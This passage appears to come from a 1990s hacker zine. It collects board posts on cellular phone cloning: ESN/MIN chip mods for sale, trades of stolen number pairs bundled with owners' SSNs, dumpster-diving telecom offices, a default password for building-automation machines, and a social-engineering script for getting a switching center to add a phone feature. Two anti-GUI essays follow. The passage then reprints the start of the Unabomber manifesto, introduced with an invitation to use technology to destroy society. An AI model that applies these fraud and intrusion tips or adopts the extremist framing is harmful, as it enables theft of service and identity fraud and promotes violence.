that break into cars and steal the phones, though cloning is unheard of, strange papers i see of reports like fraud reports: 14 calls hehe afte ri decided to join fraud calls: 74 heh hey that was only 3 weeks! hehheheh, ah well, but i DOUBT they will do it, tooo much money, and ppl can alwyas use roam and go through that way. it will proib just stay in NYC and LA for at least 5 years. --- ok i got a panasonic eb-3552... has a MN44256S-A25 in it... 28 pin package... i don't even know what processor this fone uses... from what i hear its the same as the eb-3551 except for a few cosmetic changes.... any info about this fone and that chip would be appreciated... --- I saw it on NextStep. Yep. 19" wide rack mount devices in a 3' or 4' rack... with a PC sitting on top... I wonder. I think that it might work, but Im sure that whilst the phone is being used while in motion, the signal strength change could flaw it up. It is supposed to work by storing real detailed specs on the signal given off by the phone.. Remember that the antenna has alot to do with the transmission properties. If so, they just fucked every user that has diversity system. --- i need a DDI ASAP... got cash waiting... later.. --- if you can get the ccs ddi box, I can get a ESN/MIN chip for abou $800, (it aint cheap!) --- New update for trashing Cell one - heh god i love it, pairs, cables, battery adapters (i just saved 3 car ---> charger from the storm 5 mins ago for undidens) Digtal - bah they moved MCI - hehehehehehehahhahahahahhho (all i gotta say) this area is like seculed no cops noone deserted. --- Well i never trash cell stores only the cell HQ i havent found the contel HQ yet for the area only Cellualr-one mainly its seculded and easy to hit the neigborhood behind it plus ive stayed there 15-20 mins playing in da dumpsters heh OK OK WHILE im reading this Zine 'communication Week' heres some ads of instrest... Interframe Classic 56K promotion * dedicated i-net access FREE intrnet router and news feed 50% off reg fee. 50% off montlhy service fees only $5,300 800-82-psi-82 (card dat mother!) Internet Secuirty Firewall-1 ISC 617-863-6400 (or info@secuirty.com) bah cant find mor enow.. will post more lata --- I was hoping someone had some default accounts on wellfleet routers. I'm afraid they are something like CISCO in that the only default is no password. But if anyone has any information it would be much appreciated. --- i am looking too, i just found a bunch on a system I am playin' with.. --- Sprint Cellular, we have found tons of wire, tons of antennas, a few manuals, shitloads of original nokia 100 reprogramming papers. Here is a deal. The 1st 10 people that want them, I will mail you each a couple of real nokia 100 programming sheets. Just email me with where to send them. dont worry. and its free. Uhermm. Not much else lately. Oh, except the password and login to some machine we dont have the # for that happens to handle a vast # of pagers. And the company I work for just got 4 gleynayre gl3000's, and are starting service (numeric pagers + voice mail only. It really sucks). They gave 200 free pagers out, I didnt get one, So I pretty much have dominated everyones voice mail, and fuck with them all all the time. I just need an idea of the default logins for the bitches. Software revision 5.00+ on most of them. I have found 12 Gl3000 dialups, yet none are where I work. Oh well...................... Im aiming to get fired here soon. Fuckers gonna diss me for soem girl that has a crush on the supervisors 16 year old son, SHE gets a free pager and she was only there 3 fucking weeks and signed up after me and ive been there 7 months. I took it personnally. And they're gonna take my new telemate script personally as well. the fuckers. If you find the mainstreet automation machines, try accts 1 2 3 & 4 with the password MAINSTREET ... The one we found controlled their security system ?? --- Anyone have a working cell phone that can be called ?? I need to setup an account where I can post to newsgroups and s/r e-mail. Most of the major/minor providers require a number to voice verify. All you would have to do is answer the few stupid questions...ect I would provide the specific info... Would someone have an anonymous account that I can use without going through this shit ?? --- Anon.penet.fi was compromised over a year ago... so I doubt that hiding behind that will do much good if these companies care enough to investigate.. --- I have been trying to install sco on my system for some time now and cannot seem to get it to install correctly, or even start to install. I have made the disks and when I go to boot from the 'boot' disk it will not come up. I know it is somthing simple and some Unix expert here will know it off the top of their head, any help would be appreciated. --- Just a stupid question but i had made this mistake before..if your loading it to a pcdos box and not a unix box like in a partitioned drive unix boot wont boot it up..if i were you and this is what i did i particioned my drive c:d: D: being unix i then installed the system in d: dont know if im in left field because i did bsd unix just asking why sco no reason but a question. laterz CARDER (I just knew SS agents had a large vocabulary) --- i just think its a good way to learn unix by actually having a system on ur PC.. it is not THAT secure really, apart from the newest versions, people r always getting into it... --- It's good. Also it's freeware, theres tons of software for it, people on the net you can talk to for help cuz its so popular among regular people (not businesses and stuff that use SCO & BSD) so theres cooler applications, plus theres updates coming out all the time... --- downloaded AIX apparently the new PC version.. gunna check that out too.. --- Anyone want to share the oki 4712 mod?, or tell me if HTH scanning mod is any good? --- >why the big hush hush on sharing mods, I do it all the time, information >should be free to all, and let them take the responsibility for thier >actions... tell the guys with 4715 this... --- Hi. In Argentina, we was testing with an oki 1150 and we could change the esn from keypad but when you turn off the phone, it returns to the pre-saved. Anyone knows how to save it ???? please? Thanks and bye from Argentina. --- >the esn from keypad but when you turn off the phone, it returns to the >pre-saved. Anyone knows how to save it ???? please? >Thanks and bye from Argentina. --- the ESN is transfered to RAM during the phones regular operation, as soon as the power is removed, it is gone. It's exactly the same here with the US version. If you want the ESN to stay, u have to change it where it is stored b4 the tranfer to memory, which is what these chip MODs that are around do... --- I sell Oki 900 Chips with the 4712 software. Many happy customers will tell you that these chips are plug and play. I am interested in trading two chips for a Oki 900 or selling them for $150 each. COD you pay when you get it. I need Oki 900's bad bad bad... anyone with a clue... call me.. B-$tring 1-800-466-9222 Mailbox 1393 Hurry now... --- ->tell you that these chips are plug and play. I am interested in trading ->two chips for a Oki 900 or selling them for $150 each. COD you pay when ->you get it. I need Oki 900's bad bad bad... anyone with a clue... call ->me.. ->B-$tring 1-800-466-9222 Mailbox 1393 ->Hurry now... have the 4712 bin in anyone makes me a nice offer 8) --- >Hi. In Argentina, we was testing with an oki 1150 and we could change >the esn from keypad but when you turn off the phone, it returns to the >pre-saved. Anyone knows how to save it ???? please? I dont, but I'd be intjerested to know how you change the esn from the keypad, even if it dont save it when y ou turn it off. That info would be nice! --- anyways, I was wondering if anyone knew a place I could get a cheap burner to do the OKI chips... my old one caught on fire... I hate these tc545 chips... thanks... --- >Hi. In Argentina, we was testing with an oki 1150 and we could change >the esn from keypad but when you turn off the phone, it returns to the >pre-saved. Anyone knows how to save it ???? please? >Thanks and bye from Argentina. share with us on how you cahnged the esn? --- They're based on the East Coast....somewheres...I used to have the number for them, but since lost it....if anyone has what city they're based in or their phone number please post it or email me here or on my main net acct. Thanks....BTW, they have the socket for the SO-28 chip (on the oki900) that everyone's been asking about. Last I heard it was about $90.00, that's the socket you need to program the blank chips for the Oki. Laters....vidiot --- What is a good price for an OKI 900? I'm gona buy one soon and i don't want to get ripped off. --- > What is a good price for an OKI 900? I'm gona buy one soon and i >don't want to get ripped off. A REAL good price would be 100. 300 would be the most I'd wanna pay and still feel it was an ok deal. What is convenient cloning worth to you? --- > What is a good price for an OKI 900? I'm gona buy one soon and i >don't want to get ripped off. >A REA --- >The mouthpiece on my oki900 occasionally turns into an amplifier. >Specifically, when listening to my party speaking, the voice comes out >both ways, but only for about two seconds. Does anybody know why? >. >. --- It is probally because your battary is week. If it continues to bother you for more than 4 seconds you should probaly put the phone into service faculaty mode and turn the speaker off. Remember that you will need a simi long conversation because it needs bout two to three transmission of the ESN-MIN pair before you can do that. enjoy, enjoy. --- >I am in the process of obtaining some OKI 900's (gonna sell em for about >$250, without the mod, new battery charger etc).. Anyway.. >I was wondering what are some of the things that an OKI 900 can do.. >I have heard that you can scan with it, grab esn/min pairs with it, >etc.. Any information on things other than --- >I am in the process of obtaining some OKI 900's (gonna sell em for about >$250, without the mod, new battery charger etc).. Anyway.. >I was wondering what are some of the things that an OKI 900 can do.. >I have heard that you can scan with it, grab esn/min pairs with it, >etc.. Any information on things other than the 47/11/12 code would be >very helpful.. Also, information on how to mod it to make it a snarfer >or scanner, etc would be very helpful.. >Thanx.. >it is PHYSICALLY impossible to use the oki 900 to grab pairs, this is >total bullshit, u have to literally, for a start, remove the freq --- >$250, without the mod, new battery charger etc).. Anyway.. >I was wondering what are some of the things that an OKI 900 can do.. >I have heard that you can scan with it, grab esn/min pairs with it, >etc.. Any information on things other than the 47/11/12 code would be >very helpful.. Also, information on how to mod it to make it a snarfe >or scanner, etc would be very helpful.. >Thanx.. >it is PHYSICALLY impossible to use the oki 900 to grab pairs, this is >total bullshit, u have to literally, for a start, remove the frequency >filter coz that stops the freq where the u --- >I am in the process of obtaining some OKI 900's (gonna sell em for about >$250, without the mod, new battery charger etc).. Anyway.. >I was wondering what are some of the things that an OKI 900 can do.. >I have heard that you can scan with it, grab esn/min pairs with it, >etc.. Any information on things other than the 47/11/12 code would be >very helpful.. Also, information on how to mod it to make it a --- On 08-06-95 <Name Omited> wrote to ** ALL **... > I am in the process of obtaining some OKI 900's (gonna sell em for > about > $250, without the mod, new battery charger etc).. Anyway.. > > I was wondering what are some of the things that an OKI 900 can do.. > I have heard that y --- >it is PHYSICALLY impossible to use the oki 900 to grab pairs, this is >total bullshit, u have to literally, for a start, remove the frequency >filter coz that stops the freq where the useful info is, from getting >near ur phone... there is a MOD called the VAMPIRE mod floating around >NYC apparently, that snarfs and auto programs, but to do that would >necessitate a lot of hardware modification too.. any1 who has further >info let us kn --- >it is PHYSICALLY impossible to use the oki 900 to grab pairs, this is >total bullshit, u have to literally, for a start, remove the frequency >filter coz that stops the freq where the useful info is, from getting >near ur phone... there is a MOD called the VAMPIRE mod floating around >NYC apparently, that snarfs and auto programs, but to do that would >necessitate a lot of hardware modification too.. any1 who has further >info let us know! >I got the HTH-OKI.EXE file which claims to do that. >it is PHYSICALLY impossible to use the oki 900 to grab pairs, this is >total bullshit, u have to literally, for a start, remove the frequency >filter coz that stops the freq where the useful info is, from getting >near ur phone... there is a MOD called the VAMPIRE mod floating around NYC apparently, that snarfs and auto programs, but to do that would >necessitate a lot of hardware modification too.. any1 who has further >info let us know! >I got the HTH-OKI.EXE file which claims to do that.. Is HTH confused >or something? >no they r full of shyt... heheh <Name Omited>, there has been much misinformation about the okki900's capabilities for a few years now, that hth-oki was distributed, and supposed to grab piairs , but it does NOT, nor can it, i beleive that mod just created a new ESN/Or ESN/MIN with every power up, this may have been useful in the day when thew roaming scam worked everywhere, but not too usefull today.. also: regarding the poking of memory location to mod the esn, ive HEARD, that you cant do this on a non-modded oki cause those regions are protected, or have a checksum,. and you cant write to that, so you would have to vchange rom anyway... have you ever seen a cable and program to just change the ESN in the oki without burning a rom, i havent? --- >I am in the process of obtaining some OKI 900's (gonna sell em for abo >$250, without the mod, new battery charger etc).. Anyway.. >I was wondering what are some of the things that an OKI 900 can do.. >I have heard that you can scan with it, grab esn/min pairs with it, >etc.. Any information on things other than the 7/11/12 code would be >very helpful.. Also, information on how to mod it to make it a snarfe >or scanner, etc would be very helpful.. Thanx.. >it is PHYSICALLY impossible to use the oki 900 to grab pairs, this is >total bullshit, u have to literally, for a start, remove the frequency >filter coz that stops the freq where the useful info is, from getting >near ur phone... there is a MOD called the VAMPIRE mod floating around NYC apparently, that snarfs and auto programs, but to do that would >necessitate a lot of hardware modification too.. any1 who has further >info let us know! >I was watching some late night news show one night and they had a >special on this. They aquired a fone (the manucfactuer was censored >out) and simply turned it on and walked next to someone on a cell fone. >The 'vampire' cloned the fone in a few seconds, they then walked away >and showed that you could now bill to it. Pretty neat, wouldn't mind >have 5. Holy shit....that is beyond cool....so it just picks up on the other phone's freq. and grabs the min/esn, or does it just do a scan of everything on the freqs. it can access?(all the cell freqs?) --- >well the BEST thing about oki900s is that you can just up and reprogram >them from the keypad. hey when you get them in, mail me and i'll see >about buying some. > u mean WITH the MOD of just until the power goes off, sum1 post that UNTIL POWER GOES OFF info!! --- >also: regarding the poking of memory location to mod the esn, ive HEARD, >that you cant do this on a non-modded oki cause those regions are >protected, or have a checksum,. and you cant write to that, so you would >have to vchange rom anyway... > have you ever seen a cable and program to just change the ESN in the >oki without burning a rom, i havent? I planned on changing the code.. I just wanted to know what else could be done.. (other than what the 4711/12 code does).. I like the ability to change ESN through the keypad (or with CTEK device).. That is a nice extra :) --- well as i was trashing Bell atlantic, (i even asked the strikers for some info, and guy said sorry he didnt have any, but gave me a line mans set, gawd, i love CWA strikers. oh i got an offical cwa ballot if anyone wants any. or to joint the CWA (communication workers of america and in da trash i saw a few docs and you can for free get phone fraud, vhs tape (well "rent it for 3 weeks, though outsiude of BA i dunno) butaain they said you can BUY the clelualr fraud,, i thought about getting it. if its cheap --- shit i saw that and i THINK It was an NEC or mitubishi, i saw the airing and the PHONE make wasnt blacked out. hmm ill do some diging, im curisng the net, and hacking accoutns --- Is anyone experiencing really shitty sound and a lot of interfearence while using there OKi 900. I have the stubby antenna and am between cell sites but i wouldn't expect the reception to be as bda as it has been. Is the stubby antenna really that shitty? Luckily, the larger antenna is in the mail and i will have it soon. --- > What is a good price for an OKI 900? I'm gona buy one soon and i >don't want to get ripped off. >A REAL good price would be 100 300 would be the most I'd wanna pay and >still feel it was an ok deal. What is convenient cloning worth to you? >Anyone know of anyone selling one? chck out alt.cellular.oki.900 people sell them there... --- > Is anyone experiencing really shitty sound and a lot of interfearence >while using there OKi 900. I have the stubby antenna and am between cell >sites but i wouldn't expect the reception to be as bda as it has been. >Is the stubby antenna really that shitty? > Luckily, the larger antenna is in the mail and i will have it soon. i had one a while ago and the antenna broke inside, it would hardly dial out, but once i pushed the end in, it worked great.. yes they do suck.. --- We need to figure out how to build the pager grabbing software's 100$ adaptor... Someone said they saw the circut board in action @ the con and the only chip had 6 pins. Sounds like an optoisolator to me. make it flash when the data comes over teh scanner and read it off of the lpt port. --- We need to figure out how to build the pager grabbing software's 100$ adaptor... Someone said they saw the circut board in action @ the con and the only chip had 6 pins. Sounds like an optoisolator to me. make it flash when the data comes over teh scanner and read it off of the lpt port. --- >We need to figure out how to build the pager grabbing software's 100$ >adaptor... Someone said they saw the circut board in action @ the con >and the only chip had 6 pins. Sounds like an optoisolator to me. make it >flash when the data comes over teh scanner and read it off of the lpt >port. >my friend has it... that's who I got the software from! Check out the new Pop' Comm... It has a review of an universal decoder that decodes pogsag, super pogsag and golay, among other formats from an audio input, its like 400 US, but is the other formats it grabs are worth the extra money... --- call up your low-cal scc and tell em your from esac and you can't get in on line xxx-xxxx and you need em to add a 3-way feature (type in the background it sounds more believable) if they ask why tell em your doing testing and bullshit like that.... (don't try this if your not familiar with talkin to scc people as they tend to be curious as to why your doing everything) also if anyone wants the low-cal CLLI i got a fuckin list that has about 70% of em... for instance this board is in the ... NWPVNJMHDS5 with an ess conversion date of 06/01/86 :) --- Anyone looking for a mobile cb? I have a uniden cb with a magnet mount antenna that I am looking to sell or trade. Let me know if you are interested. I also got a Metronet beeper thats activated until bluecross and blue shields goes out of bussiness that i would trade too. --- ok I'm lookin to buy 4 oki 900's for about $200 each ........ So if anyone has one they wanna get read of , or know of anywhere I can buy some E-mail me... I have $$$$ to but them now...... thanks --- same here but ill take a norm mobabe cell phone flip or bag cheap if perf or trade for a SHIT load of PAIRS virgin. (hmm about 40-50 WORKING some with lock codes if needed heh, full info pairs also, down to what car (if acabible) it was put in. and yes persons SSN. full info. (heh when i mean full info I MEAN full info) --- For sale cheap, 2 OKI 900 fones w/ chargers and 4712 5 esn mod installed and working, $250 each.. 2 Moto Flips one 9308 Alpha Star, and 9308 plain flip (firmware revs) , make me a offer.. just extra surplus I want to get rid of. Also I have 2 oki 1335's no mods for them, but I would appreciate some info on changing the magic # in these fones.. --- If those pairs are really VDOT.. it might be worth your time to dial them all. The blacklight 3 line electronic highway signs that are mounted above the roads use cellular phones, with a CellJack box coupled to a modem (we believe, we KNOW they are cellular, and we KNOW they have a modem, just look @ the box, 1 antenna for each highway direction).. anyways.. some may be the dialups for the signs. They use a modem to switch the text (more on this later. We are writing a program to change these for ya... its possible to change the mobile signs (like a trailer with matching generator) with a notebook and a 9pin gender changer). --- Im looking for admin guides to OCtel VMB system. I have the user manual, but thats kinda useless. If anyone knows anything about octel, mabey you could confirm this: Is this default k0de for an account the MailBox number? This is what Ive found. Also, what is the admin VMB????? --- What I was getting at is that whatever kind of parralel port your amiga uses, you could analyze what is going on on the phones end of the cable, that way you don't really need a db-25, you could fashion your own cables to fit your computer and software... --- yeah, but the db-25 is a standard on every computer, so that seems the easiset to me, i dunno i read a while back someone either had the source code to cellsoft, or could reverse dissassemble it with some quick basic utility . so you might try there... but i still think using the standard db-25 would be the easiest... >You and me both brother, I heard from my pal in the UK that there is a >software DDI that someone has... I'd sure like to find that. > >what about the file that was floating around DDDi.ZIP or sumtuing old > >but was supposed to be the demo verion of what they showed at hope.. > >anyone get any info on that stuff.... >hmmm that stuff is on my board.. I should check that out, I wonder how >the fuck do you interface that. <----------------------------------------------------------------------------> GUI Mentality by Krosis & ReDragon The graphical user interface is a threat to the future of our civilization. Since the advent of the personal computer, the efficiency and functionality of software has been reduced to the lowest common denominator. The ideas of "user-friendly" software, writing software that any unskilled user could pick up and use immediately, has led to a serious degradation in the efficiency with which skilled users are able to perform the same tasks. WordPerfect is a perfect example of the performance that can be achieved when a skilled user uses an application aimed towards efficiency instead of idiocy. New users are bound to fumble and falter in discovering the correct function key combinations for the task they desire, because WordPerfect does not reduce itself to meet the needs of the new user. To use WordPerfect efficiently, there is a degree of knowledge that needs to be attained; knowing the function key combinations. It is not excessive, and once learned the user becomes a magnitude more efficient in composing documents. In contrast to WordPerfect, look at most modern GUI word processors (this may even include the windows versions of WordPerfect). Key combinations can achieve only the most popular functions, all others require mouse interaction. When a user is concerned with creating a document, the primary bottleneck is in speed of input (how fast can the user type?). It does not take millions of dollars in human-computer interaction research to figure out that people type faster with both hands on the keyboard than with one hand on a mouse. In this manner, even as a user becomes experienced with the location of items within a menu, the user can never be as productive because of the input bottleneck. This is not to say there are not valid applications for which GUIs are appropriate and increase productivity. But the trend today is towards converting everything to GUI, without respect to the potential advantages or disadvantages in terms of actual productivity. The real question here is why have GUIs grown in popularity without regard to productivity issues. The answer lies in the changing userbase of personal computers today. Up until just recently, computers were owned by people who wanted or needed computers; it was largely a choice, if not of the individual, of the company by which an individual was employed. This is no longer the case, as now the mentality of many people is that they 'need' a computer to succeed in today's society. Knowing the 'basics' of a computer is a prerequisite for many clerical and professional jobs in modern society; being able to use a computer is an asset. Armed with a computer and an open goal of 'learn how to use it', what is the easiest way to achieve this goal? If it is a choice of word processors, it is memorization of function keys, or learn how to point and click, and eventually find the right choice on the menu. If it is an operating system, it is memorization of dozens of commands, or point and click until the right thing happens. Knowing how to use WordPerfect is a concise skill, either you know all the function keys, or you scroll through help looking for them; its hard to fake 30 keystrokes to underline a word. On the contrary, clicking on a menu and reading choices is painless; what you claim to already know you are in fact learning on the fly, every time you attempt the task. Which is a better method? There is nothing wrong with using a less productive method of achieving a goal, if productivity is not important to you. This may be the case for computer illiterate home computer owners everywhere; but in business, lost productivity is lost profits, and is simply unacceptable. <----------------------------------------------------------------------------> The Evil Gui by Krosis The gui is the greatest threat to all of us. Computing has been dumbed down to allow the everyday person to access all sorts of stuff. With the inception of the web countless millions of "newbies" have been thrown into a hostile environment without a guidebook. Online "television" services like aol , compuserve, and prodigy have created a facade that hides the complexities of the "internet" and of the world. No one wants to do things on their own they want the computer or someone else to do things for them. This mindset is evident in the "me too" & "how can i", "or what is" type of usenet postings. There can be no order to this world we call cyberspace. Gui's will only make the problem of information exploration that much harder by limiting and controlling what a person can interact with. There are hidden dangers to gui's. There is the danger that programs could be doing things that we may not approve of them doing. What happened to the tools that allowed us to see what a program does. Why cant these tools be integrated into the gui so that we can log what goes on behind the gui curtain. The masking of complexity only makes me more fearful of the manipulative conjectures of megacorps who only care about profit. This masking makes the world seem easier when in fact it is much more complex. <----------------------------------------------------------------------------> The following text is not included because it simply has some sort of shock value. There are real and substantive arguments contained within it for the destruction of the society in which we live in. Why would the hacker community be interested in something of which a primary goal is to destroy the technology upon which our community is based? First, the essay is an attack at you, if you can not form cogent arguments as to why it is flawed, the very essence of why you exist as a hacker is in doubt. Perhaps you even ultimately agree with the arguments made, what are you going to do about it? Richard Steele has suggested that the true utility of hackers lies in their power to affect economic and political institutions both on a local and global scale. FC suggests the disruption of economic forces is a necessary precursor to the total destruction of the system. How might technology be exploited in order to serve its ultimate destruction? What are you going to do about it, to destroy it, or to empower it so that those that would can not? The Unabomber Manifesto by FC ----------------------------- INDUSTRIAL SOCIETY AND ITS FUTURE INTRODUCTION 1. The Industrial Revolution and its consequences have been a disaster for the human race. They have greatly increased the Iffe-expectancy of those of us who live in "advanced" countries, but they have destabilized society, have made life unfulfilling, have subjected human beings to indignities, have led to widespread psychological suffering (in the Third World to physical suffering as well) and have inflicted severe damage on the natural world. The continued development of technology will worsen the situation. It will certainly subject human being to greater indignities and inflict greater damage on the natural world, it will probably lead to greater social disruption and psychological suffering, and it may lead to increased physical suffering even in "advanced" countries. 2. The industrial-technological system may survive or it may break down. If it survives, it MAY eventually achieve a low level of physical and psychological sutfering, but only after passing through a long and very painful period of adjustment and only at the cost of permanently reducing human beings and many other living organisms to engineered products and mere cogs in the social machine. Furthermore, if the system survives, the consequences will be inevitable: There is no way of reforming or modifying the system so as to prevent it from depriving people of dignity and autonomy. 3. If the system breaks down the consequences will still be very painful. But the bigger the system grows the more disastrous the results of its breakdown will be, so if it is to break down it had best break down sooner rather than later. 4. We therefore advocate a revolution against the industrial system. This revolution may or may not make use of violence; it may be sudden or it may be a relatively gradual process spanning a few decades. We can't predict any of that. But we do outline in a very general way the measures that those who hate the industrial system should take in order to prepare the way for a revolution against that form of society. This is not to be a POLITICAL revolution. Its object will be to overthrow not governments but the economic and technological basis of the present society. 5. In this article we give attention to only some of the negative developments that have grown out of the industrial-technological system. Other such developments we mention only briefly or ignore altogether. This does not mean that we regard these other developments as unimportant. For practical reasons we have to confine our discussion to areas that have received insufficient public attention or in which we have something new to say. For example, since there are well-developed environmental and wilderness movements, we have written very little about environmental degradation or the destruction of wild nature, even though we consider these to be highly important. THE PSYCHOLOGY OF MODERN LEFTISM 6. Almost everyone will agree that we live in a deeply troubled society. One of the most widespread manifestations of the craziness of our world is leftism, so a discussion of the psychology of leftism can serve as an introduction to the discussion of the problems of modern society in general. 7. But what is leftism? During the first half of the 20th century leftism could have been practically identified with socialism. Today the movement is fragmented and it is not clear who can properly be called a leftist. When we speak of leftists in this article we have in mind mainly socialists, collectivists, "politically correct" types, feminists, gay and disability activists, animal rights activists and the like. But not everyone who is associated with one of these movements is a leftist. What we are trying to get at in discussing leftism is not so much movement or an ideology as a psychological type, or rather a collection of related types. Thus, what we mean by "leftism" will emerge more clearly in the course of our discussion of leftist psychology. (Also, see paragraphs 227-230.) 8. Even so, our conception of leftism will remain a good deal less clear than we would wish, but there doesn't seem to be any remedy for this. All we are trying to do here is indicate in a rough and approximate way the two psychological tendencies that we believe are the main driving force of modern leftism. We by no means claim to be telling the WHOLE truth about leftist psychology. Also, our discussion is meant to apply to modern leftism only. We leave open the question of the extent to which our discussion could be applied to the leftists of the 19th and early 20th centuries. 9. The two psychological tendencies that underlie modern leftism we call "feelings of inferiority" and "oversocialization." Feelings of inferiority are characteristic of modern leftism as a whole, while oversocialization is characteristic only of a certain segment of modern leftism; but this segment is highly influential. FEELINGS OF INFERIORITY 10. By "feelings of inferiority" we mean not only inferiority feelings in the strict sense but a whole spectrum of related traits; low self-esteem, feelings of powerlessness, depressive tendencies, defeatism, guilt, self-hatred, etc. We argue that modern leftists tend to have some such feelings (possibly more or less repressed) and that these feelings are decisive in determining the direction of modern leftism. 11. When someone interprets as derogatory almost anything that is said about him (or about groups with whom he identifies) we conclude that he has inferiority feelings or low self-esteem. This tendency is pronounced among minority rights activists, whether or not they belong to the minority groups whose rights they defend. They are hypersensitive about the words used to designate minorities and about anything that is said concerning minorities. The terms "negro," "oriental," "handicapped" or "chick" for an African, an Asian, a disabled person or a woman originally had no derogatory connotation. "Broad" and "chick" were merely the feminine equivalents of "guy," "dude" or "fellow." The negative connotations have been attached to these terms by the activists themselves. Some animal rights activists have gone so far as to reject the word "pet" and insist on its replacement by "animal companion." Leftish anthropologists go to great lengths to avoid saying anything about primitive peoples that could conceivably be interpreted as negative. They want to replace the word "primitive" by "nonliterate." They may seem almost paranoid about anything that might suggest that any primitive culture is inferior to ours. (We do not mean to imply that primitive cultures ARE inferior to ours. We merely point out the hyper sensitivity of leftish anthropologists.) 12. Those who are most sensitive about "politically incorrect" terminology are not the average black ghetto-dweller, Asian immigrant, abused woman or disabled person, but a minority of activists, many of whom do not even belong to any "oppressed" group but come from privileged strata of society. Political correctness has its stronghold among university professors, who have secure employment with comfortable salaries, and the majority of whom are heterosexual white males from middle- to upper-middle-class families. 13. Many leftists have an intense identification with the problems of groups that have an image of being weak (women), defeated (American Indians), repellent (homosexuals) or otherwise inferior. The leftists themselves feel that these groups are inferior. They would never admit to themselves that they have such feelings, but it is precisely because they do see these groups as inferior that they identify with their problems. (We do not mean to suggest that women, Indians, etc. ARE inferior; we are only making a point about leftist psychology.) 14. Feminists are desperately anxious to prove that women are as strong and as capable as men. Clearly they are nagged by a fear that women may NOT be as strong and as capable as men. 15. Leftists tend to hate anything that has an image of being strong, good and successful. They hate America, they hate Western civilization, they hate white males, they hate rationality. The reasons that leftists give for hating the West, etc. clearly do not correspond with their real motives. They SAY they hate the West because it is warlike, imperialistic, sexist, ethnocentric and so forth, but where these same faults appear in socialist countries or in primitive cultures, the leftist finds excuses for them, or at best he GRUDGINGLY admits that they exist; whereas he ENTHUSIASTICALLY points out (and often greatly exaggerates) these faults where they appear in Western civilization. Thus it is clear that these faults are not the leftist's real motive for hating America and the West. He hates America and the West because they are strong and successful. 16. Words like "self-confidence," "self-reliance," "initiative," "enterprise," "optimism," etc., play little role in the liberal and leftist vocabulary. The leftist is anti-individualistic, pro-collectivist. He wants society to solve every one's problems for them, satisfy everyone's needs for them, take care of them. He is not the sort of person who has an inner sense of confidence in his ability to solve his own problems and satisfy his own needs. The leftist is antagohistic to the concept of competition because, deep inside, he feels like a loser. 17. Art forms that appeal to modern leftish intellectuals tend to focus on sordidness, defeat and despair, or else they take an orgiastic tone, throwing off rational control as if there were no hope of accomplishing anything through rational calculation and all that was left was to immerse oneself in the sensations of the moment. 18. Modern leftish philosophers tend to dismiss reason, science, objective reality and to insist that everything is culturally relative. It is true that one can ask serious questions about the foundations of scientific knowledge and about how, if at all, the concept of objective reality can be defined. But it is obvious that modern leftish philosophers are not simply cool-headed logicians systematically analyzing the foundations of knowledge. They are deeply involved emotionally in their attack on truth and reality. They attack these concepts because of their own psychological needs. For one thing, their attack is an outlet for hostility, and, to the extent that it is successful, it satisfies the drive for power. More importantly, the leftist hates science and rationality because they classify certain beliefs as true (i.e., successful, superior) and other beliefs as false (i.e., failed, inferior). The leftist's feelings of inferiority run so deep that he cannot tolerate any classification of some things as successful or superior and other things as failed or inferior. This also underlies the rejection by many leftists of the concept of mental illness and of the utility of IQ tests. Leftists are antagonistic to genetic explanations of human abilities or behavior because such explanations tend to make some persons appear superior or inferior to others. Leftists prefer to give society the credit or blame for an individual's ability or lack of it. Thus if a person is "inferior" it is not his fault, but society's, because he has not been brought up properly. 19. The leftist is not typically the kind of person whose feelings of inferiority make him a braggart, an egotist, a bully, a self-promoter, a ruthless competitor. This kind of person has not wholly lost faith in himself. He has a deficit in his sense of power and self-worth, but he can still conceive of himself as having the capacity to be strong, and his efforts to make himself strong produce his unpleasant behavior. [1] But the leftist is too far gone for that. His feelings of inferiority are so ingrained that he cannot conceive of himself as individually strong and valuable. Hence the collectivism of the leftist. He can feel strong only as a member of a large organization or a mass movement with which he identifies himself. 20. Notice the masochistic tendency of leftist tactics. Leftists protest by lying down in front of vehicles, they intentionally provoke police or racists to abuse them, etc. These tactics may often be effective, but many leftists use them not as a means to an end but because they PREFER masochistic tactics. Self-hatred is a leftist trait. 21. Leftists may claim that their activism is motivated by compassion or by moral principles, and moral principle does play a role for the leftist of the oversocialized type. But compassion and moral principle cannot be the main motives for leftist activism. Hostility is too prominent a component of leftist behavior; so is the drive for power. Moreover, much leftist behavior is not rationally calculated to be of benefit to the people whom the leftists claim to be trying to help. For example, if one believes that affirmative action is good for black people, does it make sense to demand affirmative action in hostile or dogmatic terms? Obviously it would be more productive to take a diplomatic and conciliatory approach that would make at least verbal and symbolic concessions to white people who think that affirmative action discriminates against them. But leftist activists do not take such an approach because it would not satisfy their emotional needs. Helping black people is not their real goal. Instead, race problems serve as an excuse for them to express their own hostility and frustrated need for power. In doing so they actually harm black people, because the activists' hostile attitude toward the white majority tends to intensify race hatred. 22. If our society had no social problems at all, the leftists would have to INVENT problems in order to provide themselves with an excuse for making a fuss. 23. We emphasize that the foregoing does not pretend to be an accurate description of everyone who might be considered a leftist. It is only a rough indication of a general tendency of leftism. OVERSOCIALIZATION 24. Psychologists use the term "socialization" to designate the process by which children are trained to think and act as society demands. A person is said to be well socialized if he believes in and obeys the moral code of his society and fits in well as a functioning part of that society. It may seem senseless to say that many leftists are over-socialized, since the leftist is perceived as a rebel. Nevertheless, the position can be defended. Many leftists are not such rebels as they seem. 25. The moral code of our society is so demanding that no one can think, feel and act in a completely moral way. For example, we are not supposed to hate anyone, yet almost everyone hates somebody at some time or other, whether he admits it to himself or not. Some people are so highly socialized that the attempt to think, feel and act morally imposes a severe burden on them. In order to avoid feelings of guilt, they continually have to deceive themselves about their own motives and find moral explanations for feelings and actions that in reality have a nonmoral origin. We use the term "oversocialized" to describe such people. [2] 26. Oversocialization can lead to low self-esteem, a sense of powerlessness, defeatism, guilt, etc. One of the most important means by which our society socializes children is by making them feel ashamed of behavior or speech that is contrary to society's expectations. If this is overdone, or if a particular child is especially susceptible to such feelings, he ends by feeling ashamed of HIMSELF. Moreover the thought and the behavior of the oversocialized person are more restricted by society's expectations than are those of the lightly socialized person. The majority of people engage in a significant amount of naughty behavior. They lie, they commit petty thefts, they break traffic laws, they goof off at work, they hate someone, they say spiteful things or they use some underhanded trick to get ahead of the other guy. The oversocialized person cannot do these things, or if he does do them he generates in himself a sense of shame and self-hatred. The oversocialized person cannot even experience, without guilt, thoughts or feelings that are contrary to the accepted morality; he cannot think "unclean" thoughts. And socialization is not just a matter of morality; we are socialized to conform to many norms of behavior that do not fall under the heading of morality. Thus the oversocialized person is kept on a psychological leash and spends his life running on rails that society has laid down for him. In many oversocialized 